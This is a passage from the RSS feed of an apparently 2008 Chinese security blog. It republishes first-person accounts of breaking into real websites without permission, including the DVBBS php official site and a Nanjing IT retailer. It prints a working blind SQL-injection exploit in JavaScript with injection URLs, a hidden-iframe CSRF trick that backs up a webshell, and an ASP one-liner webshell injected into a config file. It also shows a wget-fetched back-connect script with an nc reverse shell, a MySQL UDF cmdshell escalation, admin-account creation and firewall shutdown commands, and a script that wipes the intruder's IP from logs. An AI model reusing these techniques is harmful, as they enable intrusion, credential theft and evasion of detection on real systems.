height=25&gt;数据库路径： <br />            &lt;input type=&quot;text&quot; name=&quot;currf&quot; size=&quot;30&quot; value=&quot;../../oledit/UploadFile/200712/2007121544821758.rar&quot;&gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp; 备份数据目录：&amp;nbsp; <br />            &lt;input type=&quot;text&quot; name=&quot;backf&quot; size=&quot;20&quot; value=&quot;hacklu&quot;&gt;&lt;/td&gt;<br />            &lt;/tr&gt;<br />            &lt;tr&gt;<br />            &lt;td height=25&gt;数据库名称： <br />            &lt;input type=&quot;text&quot; name=&quot;backfy&quot; size=&quot;20&quot; value=&quot;hacklu.asp&quot;&gt;&amp;nbsp; <br />            &lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;备份&quot; &gt;<br />            <br />            &lt;/td&gt;<br />            &lt;/tr&gt;<br />            &lt;/table&gt;<br />            &lt;/form&gt;<br />            &lt;script&gt;document.form.submit()&lt;/script&gt;<br />            &lt;/html&gt;</td>        </tr>    </tbody></table></p><p>　　把这个保存为XX.jpg上传到服务器，因为HTML改成JPG是可以解析的，路径为：oledit/UploadFile/200712/200712155756468.jpg，在意见反馈里写上如下挂马语句：<iframe src="../oledit/UploadFile/200712/200712155756468.jpg" width="0" height="0"></iframe>如图3，这样当管理员看到时就会自动备份出WEBSHELL来了，如图4，图5所示。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img style="width: 419px; height: 287px" alt="" src="http://hack.77169.com/UploadFiles_8057/200807/20080709135836312.jpg" /></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img style="width: 473px; height: 435px" alt="" src="http://hack.77169.com/UploadFiles_8057/200807/20080709135837398.jpg" /></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img style="width: 473px; height: 310px" alt="" src="http://hack.77169.com/UploadFiles_8057/200807/20080709135840366.jpg" /></p><p>　　其实跨站还有很多可以做到的事，限于小天摧稿比较急，剩下的留给大家去挖掘吧。</p>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/45.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=45</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=45&amp;key=14899778</trackback:ping></item><item><title>拿下DVBBS php官网</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/38.html</link><pubDate>Mon, 10 Nov 2008 23:06:50 +0800</pubDate><guid>http://www.mk2leo.com/post/38.html</guid><description><![CDATA[<p>文章作者：oldjun[S.U.S]<br />信息来源：oldjun's blog（www.oldjun.com/blog）</p><p>注意:文章已经发表在2008第7期《黑客防线》上,转载请注明出处。（最近拿站比较多，没来得及写日志，拿这篇文章凑数！）</p><p>几个月前，DVBBS php2.0暴了一个可以直接读出管理员密码的sql注入漏洞，当时这个漏洞出来的时候，我看的心痒，怎么还会有这么弱智的漏洞，DVBBS php2.0这套代码我还没仔细看过，于是5月中旬我down下来粗略看了下，接着我花了三天的时间，拿下p.dvbbs.net，即动网php的官方网站，并得到了webshell。总的来说，这次入侵凭的是二分技术加一分运气。</p><p>一、 SQL注入漏洞：<br />晚上检查了好久，终于在topicother.php中发现了一处sql注入漏洞，但是并不像前段时间暴的漏洞那么简单，因为不能把密码直接读出数据库并显示出来，这是个活动帖子的报名主函数，我简单搜索了下，1.0好像后来就增加了这个功能。好了，来看具体函数：</p><p>function PostActive_Main(){<br />&hellip;&hellip;<br />$TopicID = $GLOBALS['id'];<br />$activeid = trim($_GET['activeid']);//activeid并没有过滤<br />$timemode = $_POST['payment'];<br />$systemmode = trim($_POST['contact']);<br />$message = trim($_POST['message']);</p><p>$gettimemode = trim($_POST['timemode']);<br />$getstarttime = trim($_POST['starttime']);<br />$getendtime = trim($_POST['endtime']);<br />$getexpiretime = trim($_POST['expiretime']);</p><p>if($timemode ==0)<br />$costnum = 0;<br />else<br />$costnum = intval(trim($_POST['payvalue']));<br />//直接带进来使用了<br />if( $query = $db-&gt;query(&quot;SELECT u1.sex,u1.strength,u2.usersex FROM {$dv}active as u1,{$dv}user as u2 WHERE activeid={$activeid}&quot;)){<br />$activeinfo =&amp; $db-&gt;fetch_array($query);<br />if( !empty($activeinfo) ) {<br />$db-&gt;free_result($query);<br />}<br />}<br />if( $num = $db-&gt;query(&quot;SELECT count(*) as num from {$dv}activeuser where activeid='&quot;.$activeid.&quot;'&quot;)){<br />$activenum = $db-&gt;fetch_array($num);<br />if( !empty($activenum) ) {<br />$db-&gt;free_result($num);<br />}<br />}<br />&hellip;<br />//如果查取的activeid不正确或者后面注入的条件不成立，则显示显示str1：对不起!本活动报名人数已满!<br />if($activenum['num']&gt;=$activeinfo['strength']){<br />head(0,0,0,$arrNavMenu);<br />showmsg($lang['Active_Error.str1']);<br />exit;<br />}<br />//如果activeid正确（后面注入的条件也成立），但没有登陆，就显示str2：请登陆后操作!<br />if ($userid==0) {<br />head(0,0,0,$arrNavMenu);<br />showmsg($lang['Active_Error.str2']);<br />exit;<br />}<br />&hellip;<br />//如果activeid正确并且已经登陆了，递交的时候没有递交联系方式，则会显示str6这个错误：对不起联系方式不能为空或小于8个字符!<br />if (''==$systemmode||strlen($systemmode)&lt;8) {<br />head(0,0,0,$arrNavMenu);<br />showmsg($lang['Active_Error.str6']);<br />exit;<br />}<br />&hellip;<br />}</p><p>首先先确定有没有activeid为1的活动帖子，就是在论坛目录后加上<br />topicother.php?t=9&amp;action=join&amp;activeid=1<br />显示&ldquo;对不起!本活动报名人数已满!&rdquo;则有可能不存在，自己注册个号进去发个活动帖子先。</p><p>根据上面解释，大家是否已经看出来该怎么注入啦，并不是什么都需要工具的，想当年ACCESS手工注入又不是没注入过，判断条件正确就返回正常，错误就不正常显示；这里不也是同样的道理么，不管有没登陆，出错都显示：&ldquo;对不起!本活动报名人数已满!&rdquo;，如果判断条件正确，没有登陆的话显示：&ldquo;请登陆后操作!&rdquo;，已经登陆了显示：&ldquo;对不起联系方式不能为空或小于8个字符!&rdquo;于是当晚我手动测试了一下官方，并成功获得了一个管理员的16位MD5的密码。兴奋的去睡觉，躺在床上却怎么也睡不着：怎么去更简单的利用呢？一边思考，一边入睡，睡着的时候天都亮了。</p><p>5个小时后，睡醒了继续搞，因为没有开发那种application程序的经验，所以我没想去写个exp工具，但一直手工多麻烦啊，记得以前开发网站的时候用ajax去get或者post数据并回显的，这里是不是也一样可以？于是自己尝试写，轻轻松松写出个单一判断md5某一位的ajax代码，可是在写循环的时候却出错了，后来flyh4t上线丢给我一段代码，我参考了一下然后一个可以读任意DVBBS php站点管理员密码的基于页面的Exploit code搞定了（列出主要代码）：</p><p>function sendCall(i,j,url,w,p) {<br />if (p==&quot;temp&quot;){p=url}<br />//后台密码、用户名、关联的前台用户名<br />switch(parseInt(w)){<br />case 0:url = p+&quot;/**/and/**/ascii(mid(password,&quot;+i+&quot;,1))=&quot;+j+&quot;)/**/&quot;;break;<br />case 1:url = p+&quot;/**/and/**/ascii(mid(username,&quot;+i+&quot;,1))=&quot;+j+&quot;)/**/&quot;;break;<br />case 2:url = p+&quot;/**/and/**/ascii(mid(adduser,&quot;+i+&quot;,1))=&quot;+j+&quot;)/**/&quot;;break;<br />//前台密码、用户名<br />case 3:url = p+&quot;/**/and/**/ascii(mid(userpassword,&quot;+i+&quot;,1))=&quot;+j+&quot;)/**/&quot;;break;<br />case 4:url = p+&quot;/**/and/**/ascii(mid(username,&quot;+i+&quot;,1))=&quot;+j+&quot;)/**/&quot;;break;<br />}<br />if (window.ActiveXObject) {<br />xmlHttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);<br />} else if (window.XMLHttpRequest) {<br />xmlHttp = new XMLHttpRequest();<br />//解决FF中跨域问题<br />try{<br />netscape.security.PrivilegeManager.enablePrivilege( &quot;UniversalBrowserRead &quot;);<br />} catch (e) {<br />alert( &quot;Permission UniversalBrowserRead denied. &quot;);<br />}<br />}<br />xmlHttp.onreadystatechange = function() {<br />if(xmlHttp.readyState == 4 &amp;&amp; xmlHttp.status ==200) {<br />var str = xmlHttp.responseText;<br />var md5hash=document.getElementById(&quot;md5hash&quot;);<br />if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {<br />pass += String.fromCharCode(j);<br />md5hash.innerHTML = pass;<br />j = 48;<br />i++;<br />}<br />else {<br />if(j == 59&amp;&amp;(parseInt(w)==0||parseInt(w)==3)) { j = 96; }<br />else { j++; }<br />}</p><p>if(pass.length &gt;= 16) { alert(&quot;Exploitation Successfull!. Admin MD5 Hash(or username): &quot;+pass); return true; }<br />sendCall(i,j,url,w,p);<br />}<br />}<br />xmlHttp.open('GET', url, true);<br />xmlHttp.send(null);<br />}</p><p>工具不支持中文用户名，但支持字母+数字+常用符号组合。</p><p>接着就简单啦，先判断下官网后台的管理员人数：<br />http://p.dvbbs.net/topicother.php?t=9&amp;action=join&amp;activeid=1/**/and/**/10=(select/**/count(*)/**/from/**/dv_admin)<br />然后判断一下后台管理员id是从多少到多少：<br />http://p.dvbbs.net/topicother.php?/topicother.php?t=9&amp;action=join&amp;boardid=2&amp;id=1&amp;activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/id=1)<br />然后可以根据存在的后台id用工具去暴密码啦，速度还蛮快的，一会我就成功获得了后台所有的md5 password，cmd5.com去跑了下，只能跑出一个，其他不是not found就是要收费。到前台转了下，发现前台可以看到的管理员只有几个，貌似有的后台管理员前台并不显示为管理员，不过我也用工具暴出前台管理员的密码，留着备用，查了下，也只成功跑出了一个。</p><p>由于动网的前台与后台管理员之间有对应关系，因此不能用这个管理的前台密码加上那个管理员的后台密码去登陆后台，研究了下代码跟数据库，后台表中的adduser这个字段就是相对应的前台密码。可是既然这样，我得到的信息就无法利用，那怎么去获得一个后台权限呢，md5的存在让注入的光华变的暗淡了，怪不得当初那个漏洞那么简单的可以读密码那些大牛们都没把官方站点拿下，官方站不存在白痴管理员啊&hellip;</p><p>又到下午了，还是没有进展，我在想是放弃还是该怎么继续，去126邮箱翻翻ph4nt0m的一些帖子，我突然想到个方法&hellip;</p><p>二、 社会工程学：<br />其实这是让我洋洋得意的地方，我自我感觉无论什么技术，都没社会工程学来的让人心动，而且只要用用心，社会工程学就可以被演绎的淋漓尽致。但是这段让我非常兴奋的经历，我还是不能多写，因为这涉及到官方多位管理员的隐私，我只是简单的入侵检测，并不想成为别有用心之人的参考。</p><p>简单了说一下：由于adduser是中文的话，我的工具暴不了，但我可以用语句猜测（把adduser十六进制处理下就OK了）：<br />http://p.dvbbs.net/topicother.php?t=9&amp;action=join&amp;activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/adduser=0x............/**/and/**/id=..)<br />我用..代替省略掉十六进制用户名，后面的ID也省略下。这样，我可以轻松的猜出后台某个ID对应的前台用户名，于是我找了几个管理员作为突破口。</p><p>因为我有前台管理员权限，于是我从前台找了下所有管理员、超级版主以及可以看到的动网团队的人员的信息，并收集归拢到一个txt文件中，然后我去百度跟谷歌搜索这些管理员的用户名，搜集一些他们平时访问的站点以及留下的信息：生日、身份证号码、QQ号码、电话号码、邮箱等等等，最后根据这些信息根据得到的md5密码猜测可能存在的密码，终于比昏昏然茫茫然的开始好多了，实在不行的时候，我再跑到DVBBS的ASP论坛去获取相关的信息，终于到最后一个下午的努力没有白费，我在晚上拿下了DVBBS php官方网站的后台：<br /><img alt="dv后台" src="http://www.oldjun.com/blog/index.php/res/11/dv1.jpg" /><br />异常兴奋，我给flyh4t截了个图宣扬了下战果，然后跑到ph4nt0m发了个帖子告诉大家社会工程学的伟大（结果被众大牛牛们鄙视了&hellip;寒）</p><p>三、 后台跨目录写文件漏洞：<br />一天的时间，我得到后台的管理权限，真的很艰难，但革命尚未结束，还没拿到webshell呢，不过一般而言，得到了后台权限，就离webshell不远了，flyh4t说写个模板就可以搞定了，我没着急搞，先去吃个饭&hellip;</p><p>回来后，我在后台用syinfo.php?act=phpinfo看了下系统，典型的LAMP<br />（linux,apache,mysql,php）组合，看来要努力的还很多啊；我按照常规思路准备写个php的模板，可是新建模板的时候却出错了：<br /><img alt="dv模板" src="http://www.oldjun.com/blog/index.php/res/12/dv2.jpg" /><br />不是0777权限，写不进去。怎么办？</p><p>后台晃悠，看看可不可以找到另外的突破口，可是很不幸，从晚上翻到凌晨都没发现有一处可以利用的地方，可能php后台拿webshell的方法我不熟，一直搞惯了asp的站，到php就思路堵塞了，百度了下方法，也没找到。难道伟大的革命要结束啦？</p><p>翻了一会，我居然在模板页面下面看到一个建目录的地方，不过依旧没权限建，哎，linux就是麻烦，如果是windows肯定不会权限这么变态的，自己的站一般情况下肯定可以写的，想到可写，我突然眼前一亮，对啊，这个站可以有可写的地方啊，比如上传头像上传图片或者文件，都需要可写的目录啊，linux权限设置的虽然变态，但总会留下个可以的地方的，可是问题是我该怎么利用？</p><p>胡乱尝试了好多次跨目录建目录或者文件失败后（现在回想回想怎么会出错的，我把目录跟英文名搞混淆了），我决定不要盲目搞了，读读源代码，于是我打开admin里的template.php开始读，这不读不要紧，一读居然发现了可以跨目录写文件的漏洞。</p><p>胡乱填路径肯定出错，还有出错的原因是中文名一定要输中文名，英文名称无所谓，看代码先：<br />if(!is_dir($destfile)) {<br />if ($issafemode = ini_get('safe_mode')) {<br />show_msg($lang['page_title'], str_replace('{$TPL_DIR}', $destfile, $lang['tpl.error12']));<br />footer();<br />exit;<br />}<br />if (!mkdir($destfile, 0777)) {<br />show_msg($lang['page_title'], $lang['tpl.error4']);<br />footer();<br />exit;<br />}<br />}<br />看来$destfile是关键了，再看看这个变量是什么：<br />$destfile = simpleMapPath($_POST['add_directory'].'/'.$_POST['add_ename']);<br />有个simpleMapPath在过滤啊，怪不得，再看看这个函数：<br />function simpleMapPath($path)<br />{<br />global $_SERVER;<br />if (empty($path)) {<br />return false;<br />}<br />$path = preg_replace('#(?:\\+)|(?:/+)#i', '/', $path);<br />if ($path{0} === '/') {<br />$documentroot = realpath(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']));<br />return $documentroot.$path;<br />} elseif(substr($path, 0, 3) === '../') {<br />return $path;<br />} else {<br />return ROOT_PATH.$path;<br />}<br />}<br />这段函数看的我有点无语，实在看不出来他想过滤什么&hellip;专门写了个php文件把这个函数复制进去本机测试了下，完全可以写进上一层的目录。</p><p>无论是绝对路径还是相对路径都可以轻松在uploadfile里写个目录，然后写个模板里面，编辑下，于是拿到了webshell。此时天都快亮了，想睡觉的，可是睡不着，何不一气呵成，拿下系统权限？</p><p>四、 失败的提权：<br />由于提权失败了，所以这部分我也简单略过，虽然这花费了我一半的时间，可是水平不济啊。管理员权限给的太变态了，除了uploadfile，其他所有目录都不可写&hellip;不管了，有可写的地方就可以了，先查下服务器版本，输入uname -a;id，返回：<br />Linux p.dvbbs.net 2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686 i686 i386 GNU/Linux<br />uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)<br />检查了下perl 、wget，都安装上了，于是wget一个comeback.pl，接着用NC反弹下，也成功反弹回来本地shell，心想这么顺利啊，接下来就是提权了，可是翻遍了milw0rm.com，找了各种提权的利用程序，就是没有一个能成功的，我百度谷歌了N久，网上有关linux下提权的文章非常少，有的基本都是一个样，反弹一下然后提权，可是大家能轻松提权的prtcl.c在这里对它无可奈何&hellip;</p><p>到了下午实在太困了睡了一会儿，醒来后继续搞，但最后还是以失败告终，并且把它服务器溢出挂了，我赶紧收手，哎，我太菜了，就不做坏事了，留个页面纪念下：<br /><img alt="黑页" src="http://www.oldjun.com/blog/index.php/res/13/dv3.jpg" /></p><p>五、 清理残留：<br />Linux下的残留我就没办法了，没提权成功，权限太小；但网站留下来的东西必须清理掉。于是写个clear.php：<br /><!--p<br-->define('ISDVBBS', TRUE);<br />require '../inc/config.php';<br />require '../inc/dv_clssql.php';<br />$db= new sqldb();<br />defined('DV_MUF_DB_HOST') AND ($dbhost = DV_MUF_DB_HOST);<br />$db-&gt;connect($dbhost, $dbuser, $dbpw, $dbname , $charset,$pconnect);<br />//清除我新建的模板<br />$db-&gt;query(&quot;DELETE FROM dv_styles WHERE name='啊啊啊'&quot;);<br />//清除我所在的IP后台操作日志<br />$db-&gt;query(&quot;DELETE FROM dv_log WHERE l_ip='58.213.51.65'&quot;);<br />echo &quot;ok!&quot;;<br />?&gt;<br />传到uploadfile里面，浏览器里运行下，于是ok&hellip;</p><p>总结：到此为止，入侵告一段落，由于水平有限，所以耗时比较多，整整三天睡了十个多小时（绝大多数时间耗在失败的提权里），这里我只想说，没有绝对安全的程序，也没有绝对安全的网站，技术固然重要，思路也必不可少。最后感谢flyh4t给予的大力支持，感谢老婆rolin的鼓励与端茶送水:)，欢迎大家访问我的网站：http://www.oldjun.com</p>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/38.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=38</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=38&amp;key=e608cf62</trackback:ping></item><item><title>dfcms后台拿webshell,一句话的闭合</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/37.html</link><pubDate>Mon, 10 Nov 2008 22:55:04 +0800</pubDate><guid>http://www.mk2leo.com/post/37.html</guid><description><![CDATA[<p>下午群里人扔出个网站：http://www.sz-zxdz.com，深圳某骗子公司的网站，mop大杂烩（<a href="http://dzh.mop.com/topic/readSub_8736802_0_0.html" target="_blank">http://dzh.mop.com/topic/readSub_8736802_0_0.html</a>）上公布的一个骗子站点，然后他给出后台地址与用户名密码，让大家帮忙拿webshell，我无聊中，于是决定帮他看看。通过后台看出该网站由dfcms构建，不过我没听说过这个cms...</p><p>群里很多人都在看，大家的目标都在那个上传以及fckeditor上，貌似还有ewebeditor，不过没登录地址，我开始也以为这个这是很古老版本的fckeditor，可以直接上传的，后来根据他们的反应，肯定不行；再看看后台那upload的源文件，没有filepath，十有八九是提交页面定义的filepath，对filename的审核我没看到源代码，所以我决定放弃这条线索。</p><p>整理下思路：前台我没看，不过既然大家这么忙活，肯定不是mssql了，既然是acc，思路很少的，上传用不起来，只剩两个思路了：1.暴库，如果是asp后缀的库，shell直接来了；2.写入，很多网站提供写入配置文件的，比如早年我搞得风讯。于是我仔细检查了下，没暴出库，我却找到了可以写配置文件的地方。虽然可以写，但还是别瞎写，记得曾经，看到一处可写，就直接写了<!--ecute request("oldjun"-->，结果网站一下子报错，所有功能都用不起来了，因为之前&lt;%还没闭合呢，而且说不定有过滤。</p><p>这个站究竟该怎么写，我也不敢乱写，百度了下这款CMS，同版本的源码下下来看了下，居然没有过滤，那就简单了，原来第一句话是这样的：</p><p><code><span style="color: #000000">c_name&nbsp;&nbsp;&nbsp;&nbsp;=&quot;鼎峰企业智能建站系统ASP版官方网站&quot;</span> </code></p><p>后台直接写入：</p><p><code><span style="color: #000000">&quot;%&gt;&lt;%execute&nbsp;request(&quot;oldjun&quot;)%&gt;&lt;%a=&quot;</span> </code></p><p>就成功闭合了：</p><p><code><span style="color: #000000">c_name&nbsp;&nbsp;&nbsp;&nbsp;=&quot;鼎峰企业智能建站系统ASP版官方网站&quot;%&gt;&lt;%execute&nbsp;request(&quot;oldjun&quot;)%&gt;&lt;%a=&quot;&quot;</span> </code></p><p>如图：<img alt="pz1" src="http://www.oldjun.com/blog/index.php/res/14/pz1.jpg" /></p><p>于是，网站就拿下了：<img alt="pz2" src="http://www.oldjun.com/blog/index.php/res/15/pz2.jpg" /></p><p>本文无任何技术含量，纯粹提醒大家，渗透的时候不要忘了各个细节，想拿shell很多路可以走～最后鄙视下骗子，坏人终究会有报应的～</p>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/37.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=37</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=37&amp;key=ad17f114</trackback:ping></item><item><title>对某IT大卖场的渗透</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/36.html</link><pubDate>Mon, 10 Nov 2008 22:45:53 +0800</pubDate><guid>http://www.mk2leo.com/post/36.html</guid><description><![CDATA[<p>5月份写的一篇文，其实那段时间搞了很多站，有的过程比这艰辛的多，但只留下两篇文了，寒，虽然说入侵有记录的习惯了，可是搞完就忘了。以下是原文，写自四个月前：</p><p>这段时间失业，于是每天停留在各大招聘网站上，我习惯性的投一个简历检测一个站，该IT大卖场在南京在全国都是有名的，他们招维护网站的程序员，于是我一不小心去他们网站溜达了下，又一下子得到了系统权限，现在把过程写下来，重在思路。</p><p>一进首页，随便点个新闻进去加个1=2：<br />http://www.sxxxxxxe.com/2007/news.asp?c=0&amp;id=30%20and%201=2返回错误，1=1都不要检测了，直接拿domain跑跑看吧，ACCESS的库，跑到username跟password的时候domain假死了，显示111条记录，貌似太多了点&hellip;换啊D试试，一样&hellip;</p><p><img alt="华海1" src="http://www.oldjun.com/blog/index.php/res/17/hh1.jpg" /></p><p>貌似注入这条路行不通&hellip;不管了，先找找后台，一下子扫到了：<br />http://www.sxxxxxxe.com/admin<br />试试or漏洞跟弱口令，都不行，登不进去&hellip;检测陷入僵局了，不过貌似这个站还有很多页面我没注意，于是又慢慢翻了一下，找到个bbs，管理员自己写的吧，存在注入，扫描了下，结果同上，注入失败！</p><p>Access下注入点如果得不到有用的信息跟注入点不存在没有什么两样，更何况这是个未知的asp系统（看不到源代码啊）。方法靠人想的，我发个帖子测试下有没跨站，试了下，果然存在：</p><p><img alt="华海2" src="http://www.oldjun.com/blog/index.php/res/18/hh2.jpg" /></p><p>如果实在没办法，我可以用跨站去盗后台管理员的cookies，这个方法是保留的，作为实在山穷水尽的下下策。</p><p>现在的我想到了社会工程学，bbs有2个版主，一个叫waryest，一个叫ww，我尝试用这两个名称作为用户名，找一些常见密码登陆后台，好运还真被我给撞上了，当尝试到用户名ww时，我用ww作为密码，居然登陆进去了：</p><p><img alt="华海3" src="http://www.oldjun.com/blog/index.php/res/19/hh3.jpg" /></p><p>后台有上传，试了下，可以上传asa后缀的文件，于是我上传了个webshell（N久没检测站了，这个webshell还是一年前用的），可是奇怪的很，当我访问那个webshell的时候，却出现要我登陆系统的对话框：</p><p><img alt="华海4" src="http://www.oldjun.com/blog/index.php/res/20/hh4.jpg" /></p><p>没遇到过，我怀疑upload文件夹没有权限，但windows系统下很少有对单文件夹设置权限的，不过我又被难住了，那怎么办呢？</p><p>继续在网站晃悠，突然发现刚刚那个bbs里有个被我遗忘的东西：ewebeditor，它可是我们入侵获得webshell的主要途径之一啊，还没用的着下数据库破密码，用原始密码就进去啦，新建一个样式，重新上传了个webshell到admin目录下，可是却出现同上的问题，一样要登陆，ewebeditor有个遍历文件的漏洞，用../../admin就可以浏览admin目录下的文件：</p><p><img alt="华海5" src="http://www.oldjun.com/blog/index.php/res/21/hh5.jpg" /></p><p>我检查了下刚刚上传的webshell，文件还在而且大小也没变，我怀疑与权限没关系，而是webshell被杀毒软件隔离了，以前遇到的不能免杀的webshell都是直接被杀毒软件杀的，所以只提示文件不存在&hellip;</p><p>那简单了，我花了一会儿免杀了下我的webshell，本机过了瑞星，上传上去，终于看到了熟悉的黑色，已经成功拿到webshell啦：</p><p><img alt="华海6" src="http://www.oldjun.com/blog/index.php/res/22/hh6.jpg" /></p><p>接下来就是提权了，首先检查了下组件，发现wscript.shell组件还在，于是netstat &ndash;an查看了下端口，3389与43958都开着呢，然后我在C盘Program Files下找到版本是6.2的SERV-U，看来提权不在话下啦。</p><p>添加个用户先：<br />cmd /c net user oldjun$ oldjun /add &amp; net localgroup administrators oldjun$ /add<br />返回成功。</p><p><img alt="华海7" src="http://www.oldjun.com/blog/index.php/res/23/hh7.jpg" /></p><p>Net user检查了下确实成功了，立即登陆终端，可是终端客户端却无法连接。明明3389开了却连不上，难道我人品又报错了？命令行下运行net start查看了一下系统的服务，发现2003系统自带的防火墙开着，晕死。直接用SERV-U把它关掉：<br />cmd /c net stop sharedaccess<br />返回成功。</p><p><img alt="华海8" src="http://www.oldjun.com/blog/index.php/res/24/hh8.jpg" /></p><p>接着再连接，终于OK啦~~~~</p><p><img alt="华海9" src="http://www.oldjun.com/blog/index.php/res/25/hh9.jpg" /></p><p>渗透结束了，进去看了看，我们一开始的注入完全是被忽悠的，存后台用户名密码的mdb不是我们注入的那个mdb，我寒&hellip;再看看杀毒软件，装的是McAfee的VirusScan，并且启用了ScriptScan：ScriptScan扫描由Windows脚本主机执行的JavaScript和VBScript 脚本。WSH由Internet Explorer和Outlook使用。如果检测到有害的脚本，则不允许执行。怪不得我一开始的webshell用不起来呢&hellip;</p><p>OK，文章结束了，本文没有多少技术含量，但思路很清晰，我感觉技术跟思路同等重要，没有思路，再好的技术都没有用武之地，呵呵。如有不明白或者有问题的欢迎大家到我的网站来交流：http://www.oldjun.com。</p>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/36.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=36</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=36&amp;key=e917af5c</trackback:ping></item><item><title>记一次艰辛的提权过程</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/35.html</link><pubDate>Mon, 10 Nov 2008 22:42:26 +0800</pubDate><guid>http://www.mk2leo.com/post/35.html</guid><description><![CDATA[<blockquote><p>﻿</p></blockquote><p>此文写于三个月前，同样谈的是思路：</p><p>下午随便访问一个服装集团的网站，无意间发现网站后台的弱口令，于是稍微搞了下，webshell到手了（与主题无关，简单略过），这个服务器是某某科技的虚拟主机，可是我asp的webshell权限居然蛮大的，我兴奋了下：有戏了！</p><p>服务器是windows2000的系统，各个盘都可以访问，于是我一个盘一个盘的转悠，在c盘下看到了php文件夹，原来这服务器还支持php，不管怎样，php的权限应该比asp大吧，于是我上传了个php的webshell，开始想办法提权了。</p><p>一、 Serv-U提权：<br />我在服务器的M盘(管理员蛮有意思，D、E盘是光驱，C、M、N盘是本地磁盘)里的Program Files下发现了Serv-U，一看version，是6.0的，高兴了下，那还不轻松搞定&hellip;于是用webshell自带的Serv-U提权工具提权，显示如下图：</p><p><img alt="提权1" src="http://www.oldjun.com/blog/index.php/res/26/tq1.jpg" /></p><p>Recv: 200 EXEC command successful (TID=33).意思是成功了，可是命令下行下net user一下，却没有见到我应该看见的oldjun&hellip;</p><p>我无语了，难道说传说中RP有问题，再试了下，依旧显示成功却无效果&hellip;百度了下Serv-U提权，网上很多说不成功的都是因为版本问题或者就是Serv-U的默认管理密码被修改了，我这个版本肯定是满足的，难道默认密码被修改了（虽然webshell的回显告诉我是正确的）？</p><p>于是我把ServUDaemon.exe与ServUAdmin.exe下回来，用UltraEdit检查了下，可是密码确确实实是原始密码：</p><p><img alt="提权2" src="http://www.oldjun.com/blog/index.php/res/27/tq2.jpg" /></p><p>看来人品真的有问题，好运落不到我身上，再试了一次无果之后我决定放弃Serv-U，想其他办法了&hellip;</p><p>二、 mysql提权：<br />浪费了好长时间之后我决定不能吊死在一棵树上，这台服务器有mysql，只要有root权限，也是可以提权的啊，我去C盘winnt目录下看了下，发现了装mysql留下的配置文件：my.ini，于是得到了root的口令：</p><p><img alt="提权3" src="http://www.oldjun.com/blog/index.php/res/28/tq3.jpg" /></p><p>有了root口令，我还有早已准备好的mysql下提权的工具mysql.php，直接上传上去输入信息连接成功，接下来就简单啦，先导出udf.dll到C:\Winnt\下面。然后执行：<br />create function cmdshell returns string soname 'udf.dll'<br />提示成功后接着执行：<br />select cmdshell('net user oldjun oldjun /add')<br />返回成功：</p><p><img alt="提权4" src="http://www.oldjun.com/blog/index.php/res/29/tq4.jpg" /></p><p>接下来执行：select cmdshell('net localgroup administrators oldjun /add')同样返回完成。</p><p>一切OK后我习惯的net user了下，我傻眼了，居然还是原来的那几个用户&hellip;提权又失败了？难道我RP差到极端了？难道创建的cmdshell函数有问题，不能执行命令？NND的那几个帐户我越看越不顺眼，顺手执行了个（download是系统的一个帐户名）：<br />select cmdshell('net user download /del')</p><p>再回头net user一看，download用户果然没了，难道只能del不能add？我不信这个邪了，又换个用户名oldjun$试了下，依旧没效果，看来这个管理员功夫深厚啊&hellip;<br /><br />当然，这么点困难难不倒我啦，既然有这么大的权限，我干什么不行啊&hellip;究竟是什么问题，待会就晓得啦。</p><p>三、 反向木马提权：<br />因为手头上没免杀的鸽子，于是找个黑防的Pcshare凑合凑合，配置好客户端aa.exe以后，上传到服务器的C盘，再在cmdshell中执行下，成功了：</p><p><img alt="提权5" src="http://www.oldjun.com/blog/index.php/res/30/tq5.jpg" /></p><p>几秒钟后，我的小肉鸡就上线了，我迫不及待的打开超级终端，输入：<br />Net user oldjun oldjun /add 后出现如下提示：</p><p><img alt="提权6" src="http://www.oldjun.com/blog/index.php/res/31/tq6.jpg" 